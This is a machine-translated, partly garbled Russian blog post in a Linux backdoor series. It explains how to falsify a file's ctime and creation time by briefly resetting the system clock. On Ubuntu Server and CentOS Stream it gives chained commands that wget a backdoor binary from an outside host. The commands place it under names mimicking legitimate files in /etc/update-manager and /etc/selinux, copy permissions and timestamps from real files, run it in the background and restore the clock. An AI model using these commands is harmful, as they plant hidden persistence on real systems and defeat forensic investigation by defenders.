Изменить серию бэкдоров ctime | Linux
Изменить серию бэкдоров ctime | Linux

0x00 Предварительное резюме

существовать alias черный ход | Linux черный В ход серии статей мы хотим сделать черный ход Более совершенный,Исправлять Понятночерный ход Документы пора, пора, но ctime Не получилось Исправить, сегодня мы закончим этот кусок и пусть черный ход более совершенен

  • atime -> access time, время доступа
  • mtime -> modify time,Исправлятьвремя
  • ctime -> change time, время изменения состояния

Последняя версия Linux Есть еще один атрибут, Время. создания файла,существовать Centos Stream позвонил created time,существовать Убунту Birth time

0x01 ctime Введение

При изменении статуса файла изменится ctime. Например, изменится следующая информация:

  • Изменения содержимого файла
  • Изменения атрибутов файла
  • Изменения прав доступа к файлу
  • ...

То естьда Скажем, мы делаем это вручную Исправлять atime или mtime когда, ctime Оно автоматически обновится до текущего времени. ctime меняется с изменениями

0x02 Исправлять ctime теоретические методы

Ввиду особенностей ctime, я думаю, этот вопрос можно рассмотреть с трёх сторон

  • Измените временную метку файла обновления и статус работы приложения.
  • изменить текущее время
  • Измените временную метку системы отображения приложения, а также атрибут.

1. Измените статус работы приложения с обновленной меткой времени файла.

буквально,Мы можем найти приложения, которые поддерживают временные метки файлов Linux.,Затем Исправьте по самому приложению,Это звучит как очень сложная и опасная операция.

Простой,Просто прекратите работу системы,Перейти к целевому Documentыctime через нижний уровень,Это должно быть возможно,Пока у нас достаточно знаний,Но да не подходит для использования в сценарии APT.

2. Изменить текущее время

Время, используемое для изменения системного времени, — это текущее системное время. Другими словами, если системное время вручную установлено на 1 января 2008 г., а затем изменяется статус файла, последнее оставшееся время — 1 января 2008 г. Да.

Однако изменение системного времени – дело нетривиальное. Оно может вызвать ошибки в работе некоторых программ, поэтому необходимы эффективные методы восстановления.

3. Измените приложение и свойства, отображающие системные временные метки.

Обычно используется всеми stat чтобы просмотреть файл с полной отметкой времени, Исправлять stat команда для изменения отображаемого ctime Не сложная вещь

Однако файл можно получить ctime Приложений более чем stat Один плюс получение его через системные вызовы. Таким образом, вы можете просмотреть stat Взгляните на исходный код stat Как принимаются и управляются заявки ctime из, для которого метод из систематически называется Исправлять, также следует реализовать Исправить файл ctime из

0x03 Системные часы и аппаратные часы

Linux Система времени разделена на системные часы и аппаратные часы. Системные часы хранятся в Linux. В ядре аппаратные часы хранятся на материнской плате.

Это видно из названия двух часов.,Аппаратные часы определенно более долговечны, чем системные часы.,В конце концов, системные часы пропадают, когда система выключается.

Аппаратные часы питаются от батареи BIOS.,Держи это какое-то время,Аппаратное обеспечение все основано на этом времени как на основной основе,Каждый раз, когда вы включаете компьютер, в качестве системного времени будут использоваться аппаратные часы и время компьютера.

Чтобы обеспечить точность времени,В операционной системе обычно есть служба синхронизации времени.,То есть даNTP сервис,чтобы сделать системное время более точным

Для получения более подробной информации посетите веб-сайт Niao Ge.

http://cn.linux.vbird.org/linux_server/0440ntp.php

Просмотр системных часов

date

Посмотреть аппаратные часы

sudo hwclock --show

0x04 Выбор решения

Метод изменения системного времени наиболее подходит для сценариев APT, поэтому на этот раз этот метод представлен.

0x05 Время Исправлять и Восстановление

Системное время должно восстанавливаться мгновенно. Изменение системного времени в течение более длительного периода времени может привести к сбоям в работе определенных приложений.

1. Системное время Исправлять

Можно использовать date команда или timedatectl осуществить, нужно root-права, здесь с date Например

date -s "строка времени"

Установите системное время на 9 августа 2018 г. 10:11:12.

Язык кода:javascript
копировать
sudo date -s "20180809 10:11:12"

Это изменит системное время на Исправлять, но да, потому что Ubuntu Операционная система Сервера по умолчанию сохраняет службу синхронизации времени. Она вернется к нормальному времени в следующую секунду после завершения (даже если сеть отключена).

Это настолько быстро, что трудно сказать, успешен «Исправлять» или нет.,Это также характерно для да,избавил нас от многих неприятностей,Поговорим об этом позже,Centos Stream По умолчанию эта функция недоступна...

2. ctime время Исправлять

ctime time Исправлять можно использовать тремя способами.

  • touch -at/-mt Такая встреча будет вместе Исправлять atimeили mtime
  • touch -r oldfile newfile Это решение будет новым файлом изatime и mtime Оба установлены на è oldfile То же самое, в то же время ctime Только текущее системное время
  • chmod или chown Например, из, Исправить атрибуты файла. chmod +x newfile.sh

существуют В предыдущей главе мы использовали из, чтобы да touch -r Этот способ замаскировать черный ход - обычный файл в системе. На этот раз мы тоже выбираем да. touch -r выполнять

3. Восстановление системного времени

С помощью приведенной выше команды,Мы уже можем Документы ctime Некоторые файлы в системе притворяются, что находятся в прежнем состоянии, и теперь перед нами стоит проблема, как восстановить системное время. Вы можете рассмотреть это со следующих точек зрения:

Если у вас есть сервисная программа «Существующее NTP» и она сохранена, вы можете подключиться к серверу Можно использовать ntp Служба синхронизируется немедленно. Две наиболее часто используемые программы: ntpdate. и chrony

ntpdate Система не имеет собственной программы. chronyc да Centos Stream Принеси свое, chronyc После выполнения немедленной синхронизации пройдет некоторое время, прежде чем системное время будет полностью правильно синхронизировано.

  • sudo ntpdate time.ntp.org
  • sudo chronyc makestep

Записывать Исправлятьвпередиз date , Исправлять ctime Немедленно поменяйте его обратно

Язык кода:javascript
копировать
NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"

ссылка https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9 %97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89

Эта операция может привести к тому, что время операционной системы будет немного отличаться от исходного времени, но оно не должно сильно отличаться.

  • 从硬件время恢复操作系统время
    • sudo hwclock --hctosys

Эта команда по смыслу использует значение аппаратного времени в качестве системного времени.

Чтобы предотвратить большую разницу между исходным системным временем и аппаратным временем, вы можете проверить, есть ли большая разница между системным временем и аппаратным временем перед системным временем.

sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"

Как видите разница не большая. Можно рассмотреть возможность восстановления системного времени по аппаратному времени.

  • Перезаписать системное время на аппаратное время до Исправлять, при восстановлении после Исправлять Восстановить. системное время из аппаратного времени Системное время переопределяет аппаратное время sudo hwclock --systohc Исправлятьctime balabal Восстановить системное время из аппаратного времени sudo hwclock --hctosys

Необходимо обратить внимание на издательство, такая операция полностью потеряет исходное аппаратное время.

0x06 Новая версия Линукса Время создания файла

Ubuntu Server 22.10 и Centos Stream 9 имеют такую ​​концепцию времени создания файла.

Время создания файл в данный момент touch Команда не поддерживает прямой Исправлять,Других инструментов, чтобы это изменить, я не нашел.,Так же нужно пройти Исправлять системное время Выполнить

0x07 Ubuntu Server 22.10 эксперимент

Ubuntu Server Даже при отключении от Интернета date -s Заходите в Исправить системное время, системное время сразу восстановится.

Отдать alias черный ход В той статье изчерный ход Например

По умолчанию,/etc/update-manager/В каталоге есть такой release-upgrades файл, ставим черный ход, которого зовут release-update,之后再将文件время Исправлятьдляи release-upgrades Похожее время

Сначала проверьте это release-upgrades Документывремя戳信息

stat /etc/update-manager/release-upgrades

Язык кода:javascript
копировать
Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000
 Birth: 2022-11-02 06:36:59.067636265 +0000

atime и mtime Может использоваться напрямую touch -r копировать, change и Birth время (время создания) достигается путем настройки системного времени

Используйте whoami здесь Программа представляет собой вредоносную программу, которая четко различает файлы и каталоги, черный имя программы ход whoami.elf

Удаленная загрузка программы черный ход

Язык кода:javascript
копировать
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf"  -O /tmp/release-update

Добавьте права исполняемого файла программе черный ход (сначала установите разрешения в файле конфигурации такие же, как у релиз-обновлений)

Язык кода:javascript
копировать
chmod +x /tmp/release-update

Перезаписать аппаратное время системным временем

Язык кода:javascript
копировать
sudo hwclock --systohc

Исправлять системное время

Язык кода:javascript
копировать
sudo date -s "20221102 06:36:59"

copy одна порциячерный ход файл навстречу Времени создания файлаподражать

Язык кода:javascript
копировать
sudo cp /tmp/release-update /etc/update-manager/

Если да нужно выполнить изчерный ход, теперь существование выполняется и помещается в фоновый режим, если нравится alias Этот профильчерный ход не требует этой главы

Язык кода:javascript
копировать
/etc/update-manager/release-update & 

touch моделирование release-upgrades Документы atime и mtime

Язык кода:javascript
копировать
sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update

Восстановить системное время из аппаратного времени

Язык кода:javascript
копировать
sudo hwclock --hctosys

Удалить Скачать изчерный ход программы

Язык кода:javascript
копировать
rm /tmp/release-update

Сказал раньше,Эти операции должны быть завершены мгновенно.,Поэтому мы объединяем их

Язык кода:javascript
копировать
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update

экспериментуспех

PS:Ubuntu Server На самом деле, нет необходимости в первом 3 шаги 8 шаг, потому что операционная система автоматически синхронизирует время

Давайте удалим 3 шаги 8 Попробуйте шаг за шагом

эксперимент依旧успех

0x08 Centos Stream 9 эксперимент

Centos Мы все еще используем здесь Ubuntu Server серединаиз 9 шаги, но Centos Stream 9 Никто /etc/update-manager/эта папка,мы выбираем /etc/selinux/ этот каталог

вот один semanage.conf мы назвали вредоносный файл конфигурации semanage.conf.example

В связи с моделированием профиляизда,на нашем сервереиз Вредоносная конфигурация Документы名称для whoami.conf

Нам нужно вложить время в Исправлять. 2022-11-02 00:37:06 Имена каталогов и файлов также должны совпадать.

в то же время,Поскольку файл конфигурации,我们将Вредоносная конфигурация Документы Разрешенияи Право собственности также установлено.и То же, что и обычные файлы в том же каталоге.(Разрешенияи Аспекты принадлежности должны соответствоватьчерный ход Реальная ситуация, не надо Исправлять, нет разрешения на чтение)

Язык кода:javascript
копировать
sudo chmod --reference=обычный файл конфигурации Вредоносные файлы конфигурации
sudo chown --reference=обычный файл конфигурации Вредоносные файлы конфигурации

Этот шаг заложен в существование 5[6] шаг за шагом 7 между шагами

Общая команда такая (Будьте внимательны при написании команд, не допускайте ошибок)

Язык кода:javascript
копировать
wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example

экспериментуспех!

0x09 Запрос информации

Centos 8 официально прекратил поддержку в конце 21. На какие системы ваша компания заменила Centos?

  • Centos Stream
  • rockylinux
  • Ubuntu Server
  • Debian
  • ...
boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода